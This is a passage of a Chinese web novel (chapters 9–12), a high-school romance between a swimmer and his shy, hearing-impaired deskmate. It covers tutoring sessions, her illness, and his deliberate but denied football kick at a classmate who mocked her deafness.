祝枝轻轻弯了一下唇，低头拿本子时一缕发拂过脸侧。
“那我继续教你。”
李昭野最近状态好，训练也比往常要认真，教练简单夸了他两句，又怕这家伙翘尾巴，紧接着正色道：“下个月的比赛很重要，这段时间都管好自己的嘴巴，不要再吃禁食的东西。”
“知道。”
李昭野伸手蹭掉了下巴处蓄起来的一滴水珠，顺着脖颈一路滑下的水珠泛起一阵痒意，粼粼的池水映到眼底，晕开他眸中的光。
一年一度的大赛对于高三的运动员们格外重要，这次比赛也是各大高校来挑学生的重要平台，李昭野对这次比赛很是上心。
“但你也不用太紧张，保持你训练的状态，拿奖绝对不成问题，现在是伦敦时间几点啊？我等会跟你家长通个电话聊一下集训的事。”
李昭野摆了摆手：“跟他聊没用，我自己能决定。”
“那也要通知家长一声。”
“给他发个短信就行，看到了自然会回的。”
“也是
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，你爸管着这么大的一个企业，肯定很忙的。”
李昭野面色如常，轻轻耸了耸肩后，问他：“我能走了吧？”
“可以，记得别在外面乱吃东西了。”
毛巾被甩到了肩头，李昭野俯身拿起放在椅子上的手机，淡声道：“我回家吃。”
李昭野家里配了一个营养师，是个外国人，每天都因为李昭野很少在家里吃饭而电话短信轮番轰炸他，这下好了，终于有用武之地了。
回复好营养师的消息后，李昭野退到主页上，往下翻了好几页才找到祝枝的聊天框。
胆小鬼一个，放假都不找他聊天的，眼看着从昨天晚上八点多时的第一个条掉到不知道第多少个，最后一条聊天内容是祝枝发来的一个点头哈腰的猫咪表情包，还挺可爱的。
李昭野把这个表情收藏了下来，点开给她发了个一样的表情。
李昭野换下衣服出来，祝枝还没有回复，短短十分钟，又被各种群和人的聊天框给顶下去了。
他轻声啧了一下，翻到祝枝的账号后，点进去给她设置了一个置顶。
闹哄哄的休息室迎来了这周的最后一波嘈杂，经常被教练吐槽聊天的时候最有精力的一行人正在叽叽喳喳地讨论些没边没际的话题。
李昭野快速将鞋带系好，颇有力量感的腿踩在那双贵的要命的限量版球鞋上，引得一旁的人艳羡极了。
“野哥又买新鞋了。”
“太有实力了。”
李昭野肩膀挨了两下。
“你发什么呆呢？”
“没有。”李昭野把手机收进口袋里，“我先回去了。”
“不约了？”
“家里做了饭。”
这话从李昭野嘴里说出来挺奇怪的，毕竟在座的所有人都可以坦然地说出这句话，但只有他，家里空无一人，只有摆着厨师掐准时间做好的菜的餐桌，以及空荡的大房子。
和大家在门口分开，李昭野坐上了车。
高强度的训练让他身体和思绪都逐渐疲软，在安静的环境中容易生出困意。
忽然，手机叮咚响了一声。
他掐开一看，晃眼的光让他眉头微蹙，下一秒，神色就随着祝枝发来的一张图片而舒缓下来。
她被一个句式难住，整洁干净的卷面上，唯独那句话上画了好多个标记，而且落笔都带着纠结和犹豫，轻飘飘的。
然后弹出来的是几个可怜兮兮的字。
-好难[委屈]
李昭野轻笑，他敲字回复。
-笨
下一秒，他拿起手机凑到唇边，启唇讲解起这个句式。
嗓音里刻意柔和的语气让驾驶座上的司机表情一愣，职业素养让他强忍住笑意，尖着耳朵听完了李昭野发的语音。
司机心里翻江倒海，正思索着要不要把李昭野的新情况报告给他爸爸，可这才刚冒个苗头出来，应该用不着这么快告状吧，说不定只是普通同学之间的邀约。
“要是还不会的话，明天要不要一起去图书馆，我教你。”
语气好嗲……这真的不是他认识的李昭野……
9. 09
高三学习愈加紧张，休息时间被挤的不剩多少，祝枝的妈妈替她把周末的补习改到只剩半天，提前把东西全都装进书包里时，身旁的林知阳注意到她的动作，问道：“你下午请假吗？”
祝枝左右看了两圈，才确定他是在和自己说话。
“呃……”她犹豫了一小会，低声回答道：“以后下午都不补了。”
“你物理成绩这么好，确实也可以匀点时间给其他科目。”
他居然知道自己的物理成绩，祝枝很是诧异，眼睛瞪的圆鼓鼓的，看着林知阳。
“上次月考你是单科状元吧，我好像看到你的名字了。”
学校的单科状元会奖励一点小钱，林知阳偶然在教导处帮忙干活的时候看到的，物理分数最高的就是她，而且没有并列。
眼瞅着面前的人被自己夸得面红耳赤，林知阳虽和她不熟，但也知晓她脸皮薄，于是敛眸道：“那下周见吧。”
祝枝点了点头，慌乱地把书包从课桌里抽了出来，离开小教室的步子有些踉跄，像是逃跑。
下午说是为了多空出些休息时间，但昨天晚上问了李昭野几道题目之后，他约了她去咖啡馆自习，安排出来的休息时间照样是去学习的。
祝枝到的比李昭野早一点，她挑了个靠窗的位置，这个季节的风已经裹着些寒意了，但是在正午时分，还算是一天中最舒服的时候。李昭野进来的时候，祝枝正在捣鼓自己的手机，纤细白嫩的手指在屏幕上滑动，眉眼间是松弛的笑意。
李昭野走近，倒映在她手机屏幕上的光斑离开，他看到她的动作了。
祝枝正在给自己挑一张新壁纸，奶白色小猫蜷缩在玩偶堆里伸懒腰的照片，挺可爱的。
李昭野轻咳了一声，没能让祝枝注意到他。
他将书包放到椅子上，坐下后，高大的身形在方白桌上映出一道影子。
祝枝抬头看他。
“等很久了吗？”李昭野问她。
祝枝摇了摇头。
“点些吃的吧。”
他随意拿起一旁的菜单，瞄了眼上面的东西。
祝枝说：“不饿。”
“喝点什么也——”
“您好，打扰一下，上一下餐，这是您点的苹果肉桂蛋糕和奶盖丸子厚乳拿铁。”
一份摆盘精致的小蛋糕和咖啡被轻轻放到了桌子上面刚刚还说自己不饿的祝枝尴尬地抬头和他对视。
李昭野没忍住，轻笑了一声。
祝枝没听到他笑，但是能看到对面的人弯起的唇角，她脸颊微烫，拿起蛋糕旁的小勺子，轻轻舀了一勺抿进嘴里。
李昭野一边从书包里掏出卷子和笔，一边随口问道：“好吃吗？”
祝枝重重地点了点头，拿起一旁放着的新勺，递给他。
李昭野愣了一下，说：“我不吃。”
“我不太爱吃甜的。”他又说。
祝枝噢了一句。
“快要比赛了，不能吃外面的东西。”
刚刚还低眉顺眼看似有点失落的人，抿下一口果酱满满的蛋糕后，露出一抹笑，眼睛弯弯的，很是可爱。
倒显得李昭野的这句解释有点多余了。
他摸了摸鼻子，本想问什么时候开始看卷子，但她吃的专注，他也就没好意思出声打断，换了个更舒服的姿势，让自己整个人都陷进沙发里之后，懒洋洋地拿出手机玩。
小半块蛋糕就把祝枝撑得够呛，但她还没忘记自己今天来的任务，从书包里翻出卷子之后，她看向李昭野。
李昭野也抬头看她，嘴角处的奶盖尚未完全擦干净，那双无辜的、湿漉漉的黑眼睛就这么盯着自己，特别像祝枝刚刚设置的手机壁纸上的那只小猫咪，正在摇着尾巴，摆摆小手，说拜托了似的。
李昭野瞬间就来了劲，他举起一根手指：“今天下午唯一的任务，就是把你这张四十多分的卷子给它搞定。”
祝枝抿唇，其实也可以不用非把分数报出来的。
一下午的时间过得比想象中还要更快，祝枝埋头苦学，整张卷子上都写满了各种颜色的标记。
李昭野也是终于见识到了她那个沉甸甸的笔袋里究竟有多少支颜色不一的漂亮笔。
只见她慢吞吞地伸了个懒腰，困倦的身体难得地回了几分精神气。
李昭野已经收拾好了桌上的东西，他问：“你饿不饿？”
祝枝摇头，下一秒，她的肚子叽叽咕咕非常不给面子地响了一下。
李昭野轻笑：“请你吃饭去。”
祝枝下意识捂住了肚子，鼻尖都冒出些难为情的红晕来。
李昭野发现她真的很容易脸红害羞，特别是在自己面前。
轻咳了一声，挪开视线后，他说：“但是我不能在外面吃，我可以陪你吃。”
“我跟我妈妈说了要回家。”祝枝小声回答道。
“也行，那我送你回去。”他正欲起身，视线落到咖啡馆的前台上，转身道，“点个小蛋糕带回去吃吧，看你挺喜欢吃甜品的，我请客。”
让他花了一下午时间给自己补英语已经让祝枝很不好意思了，再吃他请的东西，祝枝更难为情了。
而李昭野已经起身走向柜台，挑了里面仅剩的一块蛋糕买下。
“卖剩下最后一份了，可可小熊舒芙——”李昭野皱眉念出它的名字。
“舒芙蕾。”祝枝小声补充道。
“叫这个名字，是因为有只熊吗？”
黑色的小熊被做成了巧克力放在舒芙蕾上面那层巧克力酱上，柔软的面包体上还淋了一层漂亮的枫糖，颜色鲜艳的水果将整份甜品装饰得特别好看。
李昭野明显看到她眼睛都亮了一下，忍不住低头笑。
“回家再吃还是吃完再回家？”他问。
“回家。”她拎着蛋糕的小盒子抬头，两个字很像从嘴巴里蹦出来的，“谢谢。”
这个点街上人正多，祝枝走在前头，李昭野跟在她身后，跨了个松松垮垮的单肩包，另一只手拿着手机，低头跟在不远不近的距离。
忽然，李昭野抬头，手机上的光打到他刀锋般的下颚线处，勾出一层淡淡的轮廓。
“怎么了？”李昭野问她。
祝枝忙摇了摇头，又收回视线。
祝枝偷瞄的次数太多，李昭野都有点习惯了，已经单独相处了一下午，还是不要和她多说话了，万一她接收到错
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误的信息，到时候又落空，岂不是很容易失望。
在心里好好反省了一番的李昭野将人送到楼下就和她告别离开了，祝枝可不知道他心里那些弯弯绕绕的心思，第一次和班上的同学一块度过了一个还算愉快的下午，祝枝的心情很是不错。
李昭野自顾自走了好几步，忍不住扭头看了她一眼，果然，她还在台阶上看着自己。
那道明显一亮的视线看得李昭野心里头软乎乎的。
祝枝抬手挥了挥，和他告别。
李昭野虽然很擅长拒绝女孩子，可祝枝总是会让他忍不住心软，轻叹了口气后，他说：“回去吧，晚安。”
祝枝冲他轻轻一笑，然后摆了摆手。
明天见。
这还是祝枝高中以来第一次和班上同学约着出去度过一个下午，她总觉得是自己已经习惯了独来独往，可真正能拥有陪伴的时候，心脏又会在这样的瞬间中逐渐充盈起来。
有朋友的感觉真好。
祝枝盯紧那个消失在视野里的背影，又想，她和李昭野应该算是朋友了吧。
李昭野的训练时间变长了，他这段时间都不在学校上晚自习，早上的课也时常请假。
一个温度骤降的早晨，他难得没有训练安排，裹着一身的桂花香味进了教室。
“野哥，这么精致，还喷了香水啊。”
李昭野烦躁地推开凑近的脑袋，说：“滚蛋啊。”
他早上从家里出来的时候，隔壁家小孩正在踢球，一个球蹿过枝繁叶茂的桂花树，在他肩头抖落了一肩的桂花香味。
走回位置上，李昭野抬眸和窗边的祝枝对视。
她露出一个乖巧的笑容。
李昭野轻咳了一声，说：“早。”
祝枝没吭声，等他坐下后，她从课桌里翻出一沓厚厚的，被折得整齐的卷子，放到李昭野桌子上。
李昭野：“……”
把卷子一股脑塞进课桌里后，李昭野瞄了眼课表，从桌子里翻出语文书。随意翻动两下后，他发现书上多了好些整齐的字迹。
祝枝认真地替他做好了落下的笔记，标注很详细，字迹娟秀干净，让人看了就赏心悦目，绝对是老师会给满卷面分的水平。
“以后不用帮我记笔记。”李昭野出声道。
祝枝扭头看他，眼神有些疑惑。
“你记两份多麻烦，我也用不上。”
祝枝轻轻抿了抿唇，小声道：“不麻烦。”
李昭野梗住，他轻轻撇开头，嘀咕道：“白费功夫，还这么执着。”
下一秒，一个硬硬的东西戳了戳他的手肘。
李昭野扭头看她，祝枝正捧着自己的错题本，略有些局促地盯着他。
“你忙吗？”她问。
李昭野接过她的本子开始分析题目和句式，祝枝听得出神，满脑子都是不帮忙记笔记，自己要拿什么回报李昭野的帮忙呢。
“听不听？”李昭野轻轻敲了敲她的额头，故意把语气放凶了一些。
他作势要放笔离开，祝枝赶忙抓住他的衣袖，露出一道略带讨好的视线。
然后是一道气声，特别特别轻。
“听。”
10. 10
李昭野总感觉最近祝枝变得主动多了。
以往总是内敛害羞的视线现在也大胆多了，黑葡萄似的眸子经常一眨不眨地看向自己，平时送点糖果、小饼干的频率也增多了，似乎是摸准了他不好意思拒绝，送的小小一个，非要盯着他塞进口袋里才满意，然后露出那个腼腆乖巧的笑容。
李昭野一面挣扎着不忍心拒绝她，一面又反思自己是不是应该对她稍微冷淡些，这样以免让她误会。
他第一次这么庆幸由于比赛逼近而训练任务的加重，大多数时间都泡在泳池子里，任由耳畔翻涌的水夺去他所有思考的间隙，只有奋力摆动手臂，让身体每一寸皮肤和水流擦肩而过，奔着终点游去。
在泳池里泡久了，回到更衣室的时候李昭野都有点发懵，他坐在椅子上，等到身上的凉意足够让他打个寒颤，他才起身洗澡换衣服。
“你还回学校吗？”李昭野正在胡乱擦头发之际，身旁传来了一句问话。
“不回了。”他体力消耗太大，现在整个人又困又饿，余光瞥见松垮地搭在椅子上的灰色卫衣外套口袋里掉了两个粉色包装的小饼干出来，队友动作比他更快。
“你还带了这个。”他毫不客气地拿过一个，“给我垫垫肚子。”
这是祝枝昨天午休结束后给他的，她有个小盒子，里面装了不少这样大小的包装小甜点，以前都没见她拿出来过，最近也不知道是不是抱着几分破罐子破摔，反正被发现了，懒得遮掩的心情，对他特别殷勤，就算是听到李昭野拒绝的话，她还是会眨巴眨巴眼睛，小声又固执地说：“好吃。”
“我丢，齁甜。”队友皱紧了眉，挤出的表情有些滑稽。
“有吃就不错了，还嫌三嫌四。”李昭野把毛巾随手丢到了椅子上，往前一步将他手里剩下的那块小饼干抢了回来，然后拆开塞进嘴里。
确实好甜……
“是不是？甜得发腻，刮喉咙。”
李昭野将喉咙里的饼干艰难咽下，淡声道：“还好吧。”
“你不是不爱吃甜的东西吗？又是哪个小姑娘给你的吧。”
被戳穿的李昭野有些恼羞，用手肘轻轻撞了撞身旁凑上来听八卦的人。
“少胡说八道。”
司机已经在门口等候多时，李昭野让队友一块上车，把他送回了家，自己才回去，时间卡得很完美，晚饭正好完成。
李昭野训练消耗特别大，需要吃很多碳水补充体力，但他吃得不急，慢悠悠地解决完一桌子的饭菜后，擦完嘴起身，简单拉伸了一下四肢。
放在餐桌上的手机适时响了起来，李昭野拿起一看，是群里的消息，说是程勇上物理晚自习被抓到打游戏，和物理老师刚起来了，现在已经被抓到教导处去教育了。
群里对他勇猛的行为讨论得热火朝天，李昭野走回沙发上，懒洋洋地躺下。
-拍张照来看看
群里很快发来一张图片，是刚刚在混乱中拍的，班主任和教导主任都在，其他学生都忍不住探头看热闹，但是没拍到李昭野那位秀气的小同桌。
-再拍一张
-他人都去教导处了，怎么拍？
李昭野嘶了一声，换了个姿势继续躺。
-拍下我桌子
虽然不理解李昭野的行为，但他们还是照做了。
-怎么样，桌子上堆的卷子起码有一百张了
李昭野轻笑，哪有这么夸张。
他点开照片，空荡荡的不止是他的桌子，祝枝的桌子也是空的，她桌上什么都没放，一看就是今天没来上学。
-？
-怎么了哥
-祝枝呢？
-她好像今天没来吧
-我早上听到班主任打电话，说她生病了，请假在家。
教室里的几个人凑在一块交头接耳的，讨论李昭野什么时候开始关心班上女生了这个反常的行为，下一秒，李昭野的消息就弹了出来。
-那她今天岂不是没帮我记笔记
“我就说吧，野哥两耳不闻男女感情之事，专心搞训练，女生只会影响他游泳的速度。”
旁边那人附和道：“对对对，按野哥这个人气和条件，要真对这些事感兴趣，早就换了十个八个了。”
在一旁沉默良久的人开口嘀咕道：“不是，你们什么时候看到野哥记过笔记啊？”
“呃，好像也是。”
祝枝上高中以来生病的频率有点过于高了，搞得她妈妈特别焦虑，连着请了一个礼拜的假专门在家里照顾她。
烧得昏昏沉沉之际，她睁开眼睛，发现妈妈还靠在床边，已经昏昏欲睡了，察觉到祝枝的动静，立马出声问道：“醒啦？感觉怎么样了？”
祝枝慢吞吞打了个哈欠，水雾瞬间涌上眸间，她的声音低哑，像是被裹了沙粒，每说一句话都疼得厉害。
“好多了。”
她这个嗓音状态实在是没有什么说服力，妈妈伸手探了探祝枝额头的温度后，皱眉道：“怎么感觉还是在烧，等会再吃点药，你饿不饿，妈妈去给你下碗面。”
祝枝乖乖点了点头，点头这个动作弄得她又是一阵眩晕。
一碗热气腾腾的面条被端到床边的时候，祝枝差点睡着了，她慢吞吞地把面吃了小半碗，然后吃了些药，再次陷入了睡眠。
再醒来时，已经是凌晨了，妈妈回房间休息了，床头亮着一盏小夜灯，放在枕边的娃娃不知道什么时候被塞进了怀里，抱得严严实实，扯出来一看，它已经被捂得滚烫。
祝枝轻笑，从枕头底下拿出手机拍了张照，发到朋友圈里。
-把发烧传染给小熊了【窘迫】【无辜】
第一个点赞的是隔壁房间的妈妈。
-现在感觉怎么样了？
祝枝认真打字回复。
-好多了，妈妈。
紧接着冒出来的一个赞是李昭野点的，祝枝这才想起自己还加了他的微信。
以前列表里没几个人，她很爱发一些碎碎念在朋友圈里，基本上都是些没什么营养的废话，留着自己得空的时候回头翻翻，但李昭野好像还没有和她熟到能看自己私底下这略有些聒噪幼稚的一面的程度，祝枝犹豫着要不要把朋友圈删了，李昭野的评论就冒了出来。
-给小熊喂小熊牌感冒药
他还挺幽默，祝枝失笑。
下一秒，李昭野的私聊消息就弹了过来。
-怎么还把自己弄发烧了？
-说好帮我记的笔记呢
祝枝点进去回复他。
-明天回学校我会补回来的。
-？
-明天就回学校？
-你好了？
-应该会好。
-……
-第一次见到有人是靠推测治病的
祝枝挠了挠下巴，换了个姿势捧着手机。
-我现在感觉好多了，明天应该就能回学校了。
李昭野没回复了，祝枝又跟了一句。
-你放心，我答应帮你笔记，一定会补上的。
-你在微信上倒是挺能说的
祝枝愣住，一时间分不清他这话是嘲笑还是调侃。
-还不睡？
李昭野问。
-睡了很久，现在不困。
-记会单词
他布置任务道。
祝枝乖乖回了个噢。
可才点进记单词的软件没五分钟，她又开始犯困了。
十多分钟对面就没了动静，李昭野忍不住摇头轻笑。
-这就睡了？
-看来英语还真克你
一早醒来的祝枝想起昨晚睡觉前的任务，想打开手机看看，却发现已经关机了，她插上充电，起身洗漱。
“怎么就起来了？”妈妈进房间问道。
祝枝见了她才戴上助听器，妈妈又问了一遍，声音更温和了。
”这么早起来干什么？再多睡会嘛。“
“上学。”
“再休息两天，我早就替你请好假了。”
祝枝摇头：“我好多了。”
最是紧要的高三时间，她一节课都不敢缺，这两天的假已经让她有些焦虑了。
祝枝和妈妈亲，没有避着她换衣服的习惯，只是转过身留下后背，这场病前前后后熬着好一段时间，祝枝又瘦了不少，纤细的蝴蝶骨包在白皙的皮肤下，泛着粉红。
妈妈自然是心疼，低声道：“那我中午去给你送饭，煲点汤给你补补。”
祝枝没有拒绝她的好意，点头道：“谢谢妈妈。
手机在出门
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前充好电开机了，微信只有李昭野发来的几条消息。
-不用你帮忙记笔记有这个空闲自己多背点单词吧
祝枝还在因为自己昨天躲懒的事感到有些愧疚，她在车上记了一路的单词，到教室时，诧异地发现李昭野今天来学校上课了。
果然如李昭野所说的，她也就只在微信上话多些，见了面，那双黑漆漆的眸子转了又转，泛着细细碎碎的光，和他对视，一声不吭。
李昭野起身让她进去，视线落到祝枝低头，头发滑落后露出的白皙脖颈上，总感觉比平时看起来红，可能是还在烧。
“真好了？”他随口问道。
祝枝点了点头。
可她脸颊明显还有不自然的坨红，一看就是还没完全退烧。
“用得着这么用功吗？”他小声嘀咕道。
这下忽然又觉得自己压根没必要替她想这么多，生怕她因为对自己的心思给耽误了学习状态，这人怎么看都是个书呆子一枚啊。
带来的早餐被祝枝放在桌子边，她从抽屉里拿出自己的小盒子，翻出一块饼干，拆开吃掉。
还是个爱吃甜的书呆子。
饼干被分享到了李昭野手里，他表情略微有些冷硬，收回视线道：“你自己留着吃吧。”
祝枝小声噢了一句，余光瞥向李昭野，发现他已经压着校服趴在桌子上睡着了。
秋天的温度实在舒服得要命，教室里已经没开空调了，敞开的窗户外是沁入鼻腔的桂花香和青草气味，在徐徐的微风下卷来，天气不冷不热，老师讲课的声音没什么声调，入耳愈发枯燥，祝枝的思绪开始远飘，不经过思考进入耳朵的声音都成了最好的催眠剂。
班上趴下了大半学生，班主任正好来查堂，一个个揪着耳朵叫醒了。
“才第一节课就睡觉，一个个晚上都在干什么。”
李昭野被后面的动静闹醒，惺忪的眸正好和班主任带着薄怒的视线对上。
他神色坦然，慢悠悠打了个哈欠。
“祝枝——”
“她不太舒服。”李昭野开口道。
班主任这才想起她昨天还在因为高烧请假，也就收回了准备去拍醒她的手。
视线在李昭野身上掠过时，她说：“难得回学校一趟，上课还是听点。”
李昭野懒洋洋道：“听了听了。”
他抄起桌上的书，拽到面前，用以证明自己还是认真了的。
祝枝睡得很沉，她的呼吸因为鼻塞而变得有些重，醒来时已经是第二节课课间，今天天气好，教室里空着的座位比平时还要多，祝枝喝了几口热水，睡过一觉之后感觉更乏了。
第三节课上课铃响，李昭野和程勇他们打完球踩点进了教室。
一瓶饮料被放到了祝枝桌子上。
她反应钝钝的，抬头看向李昭野，然后摇了摇头。
生病的时候不喝饮料还是能遵守的。
“电解质，发烧的时候喝点可以补充体能。”
祝枝瞄了眼瓶子上的字，低声说了句谢谢。
“不舒服就回家，没必要在这里硬扛着。”
祝枝兀自从抽屉里翻出昨天的英语卷子，她考得不怎么样，就算理科科目分数很高，也依旧是因为这个薄弱科目而够不到自己的理想院校，特别是最近在这科上花的时间越来越多，却没有得到什么反馈，实在让她焦虑。
见她病得和地里焉了吧唧的小白菜一样还要改卷子，李昭野对她的固执有些不解，轻轻啧了一声后，把她手里的卷子给拿了过来，然后将她手里的红笔抽了过来，对着祝枝的错题一个一个划记解题关键点。
祝枝缩在宽大的外套里，盯着他的动作，呼吸缓慢且灼热。
“作文写得比上次好多了，又是选择题错的多。”他把卷子还给祝枝。
他的字潦草，笔画粗旷，在祝枝干净整洁的卷子上显得有些突兀。
祝枝接过卷子，因为尚未退烧而格外容易盈出水汽的黑眸紧紧盯着他，鼻尖和脸颊都烧得有些发红，她瘪了瘪嘴，鼻子也跟着皱了起来。
这句道谢特别认真。
“李昭野，谢谢你。”
李昭野被她这道目光烫到，不自觉挪开视线，掌心蹭过鼻子，眸子飘忽不定。
“不客气。”
11. 11
秋天的体育课更受学生们的欢迎，这下要再有老师来占课，教室里就得叫苦不迭了。
被高烧困住的祝枝已经很长一段时间没有出门呼吸过新鲜空气了，教室里的人走得差不多后，她披了个外套跟着一块到了操场上。
高大的体育馆建筑在操场上投出一道影子，其余地方都铺满了温柔的阳光，三五成群的学生被上课铃召集到一起，被浓厚的学习氛围环绕的学校在这方土地上才勉强生出些十七八岁的少年少女们该有的朝气。
祝枝坐得远，听不见什么声音，她坐在草坪上，眯着眼远远瞥了眼队伍前面的林知阳，上周末她的补课也请假了，算起来已经半个月没见过他了。
一整个班的队伍很快被带离，祝枝视线落了空，忍不住慢悠悠打了个小哈欠。
祝枝他们班的队伍已经开始绕圈热身，领跑的是李昭野，他今天换了双新球鞋，深蓝色的，是他常穿的某运动品牌，听说贵得很夸张，就算是到了秋天，李昭野也丝毫没有保暖意识，剪裁简单的T恤被他宽大的肩膀撑起，小手手臂上附着了一层薄薄的肌肉，因为体育课前的十分钟篮球赛而微微充血。
初秋的太阳不晒，垂下眸子很容易犯困，祝枝蜷缩起来，将脑袋轻轻搁到抱住的膝盖上，任由混着桂花香味的风卷过来，拂开落在脸颊上的头发。
体育老师最近在花时间准备全市教师排球比赛，早早把队伍放了，一阵欢呼后，几十个学生三五成群地散开来。
程勇他们几个今天说要踢足球，李昭野对这项运动没什么兴趣，跟在后面跑了几圈，觉着没意思，躺到草坪上休息时，听到不远处的讨论声。
“你这次第几名啊？”
“12。”
“这不是挺好的吗？”
“妈的，又没考得过那个聋子，你说她次次都能考这么高，到底是抄谁的啊？”
“她坐那干嘛呢？不用上体育课还来装模作样，看着她就心烦。”
“她是不是把那助听器摘了就真聋了啊？”
“要不去试试？”
李昭野拍了拍身上的草，起身挡住嘀嘀咕咕好一阵的两个人的视线。
那两人被他吓了一跳，面露惊恐。
“叫你们上场了。”李昭野说。
“啊？哦哦哦。”
李昭野也跟在他们身后迈进了足球场，不算规范的足球比赛到现在都还没分出胜负，球也传不了几下，大家都是跟着一块跑动，闹哄哄地凑在一块玩。
直到球到了李昭野脚底，他的视线像是在进行枪口校准，静静地在球场上扫视一圈后，作势要踢。
动作忽然顿住，他抬头看向其他盯住自己的人，皱眉轻笑道：“我不太会踢。”
“那没事，野哥！直接射门！”
李昭野抬头，蓄好力后用力一踢，球在空中划出一道抛物线，旋转的过程中速度越来越快，然后飞速下坠。
伴随着重物撞击的声音，操场上传出一声痛苦的嚎叫，瞬间涌出好些动静。
李昭野依旧站在原处，还略有些苦恼地摸了摸额头。
“踢到人了？那也太不好意思了，我是真不会踢。”
围了不少人的操场让祝枝侧目多看了两眼，但她满心满眼都是刚刚计划的捡秋，抖落了外套上沾的草屑之后，她起身离开了操场。
被李昭野踢到的男生鼻子出血严重，眼镜也碎了，他的家长来得异常迅速，叫嚷着要把踢到他儿子的人打一顿。
彼时李昭野正坐在副校长办公室里打哈欠，再三询问了这个不省心的祖宗以后，他又问了一遍。
“你真不是故意的？”
“何叔，我是游泳的，又不是踢足球的，我这才第一次玩足球，没这个水平。”
“你先别叫我何叔。”他动作一顿，这三年来听到的德育处主任找他告的状大大小小数不清多少件，这声何叔属实是听得他焦头烂额。
“但是我听他说你们之前有过摩擦。”
“他又没惹我，我没理由故意踢伤他啊，真的是凑巧。”
除了鼻子出血，对方家长发现他的眼角也有血迹，整张脸都肿了起来，看起来触目惊心的。
“赔偿有什么用？他的家长都不出面解决问题吗？这到底什么态度？”
在班主任办公室门口叫嚷的家长已经引起了很多学生都注意，纷纷凑过来看热闹，孩子在学校出了事，家长最不怕闹大了，嗓门清脆地找学校和老师，以及李昭野的麻烦。
“要不还是先带孩子去检查检查吧，检查和治疗费用不用担心，李昭野负责赔偿。”班主任劝说道，“而且这只是一个意外，现在还是孩子的身体最重要。”
“我缺这点钱？我是心疼我儿子，在学校好好地读书，竟然被同学踢成这样……”
李昭野听得耳朵快起茧子了，他慢吞吞地打了个哈欠。
“这可不是意外，我儿子说了，他和我儿子一直都不对付，这次就是故意的，他人呢？怎么还不出来，我倒要看看这个有娘生没娘养的家伙长什么样，居然这么心狠手辣。”
办公室的门被推开，冷着脸的李昭野出现。
他往前走了两步，定在她面前。
“你儿子叫什么名字来着？”李昭野说，“我都不认识他，谈何欺负他？”
露出混不吝的表情对李昭野来说并不难。
“你——”她气得发抖，正准备伸手打他，被李昭野拦住。
视线在人群中轻轻掠过，那张清秀的脸映入眼帘。
祝枝正眉头微皱，略有些担忧地看着自己。
她到底这来看热闹干什么？吵得不行，耳朵不难受吗？
李昭野心想。
这事闹到最后还是用赔偿摆平了，对方家长的一系列惩处要求都被学校驳回了，李昭野顺利回到了教室里。
只是一个上午的功夫，就发生了这么多事情，祝枝脑袋都有点发懵，刚坐下的李昭野下一秒便被人给围满了。
“我的天，野哥你准星太牛了，直接爆头，牛逼。”
李昭野懒洋洋地瞧了他一眼，说：“碰巧。”
“碰巧？谁信啊。”
“你上次不就想揍他了吗？因为他欺负你的同桌妹妹。”
“就是就是。”
“他妈妈现在走了没啊？太恐怖了，站在走廊骂了你四十多分钟。”
祝枝笔尖微顿，尖起耳朵听旁边的
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聊天。
李昭野瞥了她藏在耳朵里的助听器一眼，伸手摆了摆，驱散人群。
“行了行了，都走开点，让我安静会。”
待人群散开，祝枝放下笔，扭头看向李昭野。
不等她酝酿完慢吞吞开口，李昭野就说：“别问了，故意的。”
祝枝被他直截了当的话吓了一跳，呆呆地张着嘴，发出一声微弱的啊？
“好严重。”祝枝小声嘀咕道。
“是，都肿成猪头了。”
她咬了咬下唇，眼底的担忧尽显。
“只是看起来严重，流的血全都是从鼻子和嘴巴里出来的。”李昭野解释道。
祝枝回想起他血肉模糊的嘴，以及痛苦哀嚎的声音，就忍不住皱紧眉头。
早知道就不凑过去看热闹了，画面有点恶心。
李昭野知道她不经吓，胆子猫似的小，于是转移话题道：“捡一堆垃圾回来干什么？”
祝枝看了眼自己刚刚找回来的秋叶和桂花枝，有点生气。
“不是……”
就算生气也是小声小声反驳，怕被听清，又怕对方没有注意到自己的怒意。
就像小动物用力捶人报复，软绵绵的，没什么杀伤力。
李昭野捻起两片缺了口的叶子，又放回她桌子上。
“李昭野，你来一下。”出现在前门的班主任朝他招了招手。
李昭野起身出门，对方家长已经把要求的赔偿金额发过来了，他看了眼屏幕，说：“我先转给你，麻烦老师转交一下。”
“票据都没有，就任由他们开价啊？”班主任还始终坚信这真是一场意外事件，李昭野无心之失。
李昭野转钱的动作很迅速，一下把别人好几个月的工资花完的少爷眼睛都没眨一下。
“这事，还是得跟你爸妈沟通一下。”
李昭野抓了抓头发，随口道：“他们忙着呢。”
“那也不能不管你啊。”
李昭野沉默。
“还有，不是不让你们带手机吗？怎么又带了？”
李昭野：“……”
出去不过十分钟的人又回了位置，祝枝看了好几眼，见他神色如常，并没有被骂了一顿的怒意。
桌上的秋叶都已经被祝枝清理干净了，指尖被纸巾裹着擦了又擦，忍了又忍，祝枝还是决定问他。
手臂被轻轻戳了戳，李昭野扭头看她。
“为什么？”她怯生生问。
李昭野很快反应过来她在问什么，面前的小姑娘眸色太亮，抹不开的期待和好奇让她整个人看起来像发着光的小狗，正在满怀期待地看着自己。
可不能给她期待，李昭野心想。
“看不惯他。”
祝枝并没有露出失望的表情，她觉着自己有一点点小卑鄙，看他被李昭野踢成这样，心里忍不住痛快。
一个喜欢性别歧视的自大同学，就该狠狠教训一下才对。
想到这里，祝枝忍不住弯了弯唇，冲李昭野比了个大拇指。
“你好厉害。”她声音软软糯糯的，眼睛也是弯弯的，月牙似的。
李昭野：“……”
完蛋……
12. 12
祝枝近日得到的英语老师的夸奖比过去的两年更多，突飞猛进窜出来的人比优生更值得被关注，虽然也只是进步了十多分，但祝枝就算学得如此吃力，还是愿意把精力分很大一部分给英语，还是很值得夸赞的。
下课铃一响，教室里松散下来，虽然没人分享自己被夸奖的这件事情的喜悦，但祝枝还是忍不住心情大好，趴在桌子上，在草稿本上胡乱涂画。
她专注在自己的世界里时很难听到其他人聊天的声音，但稍加放松时，是能随机捕捉到一些关键词的。
林知阳这个名字一冒出来，她就忍不住扭头看了眼正在讨论他的几个女生。
“肯定有一米八啊，你没看到他每次站在光头强旁边的时候，那高出一大截啊。”
“上次我去他们班找人的时候，碰到他从我旁边过，真的很高很帅啊……”
“而且他成绩还这么好，简直是极品。”
“主要是性格好，我有个朋友就是他们班的，说林知阳从来不和别人急眼，谁去问问题都超级有耐心的，不仅告诉答案，还会详细讲解思路，人超好的。”
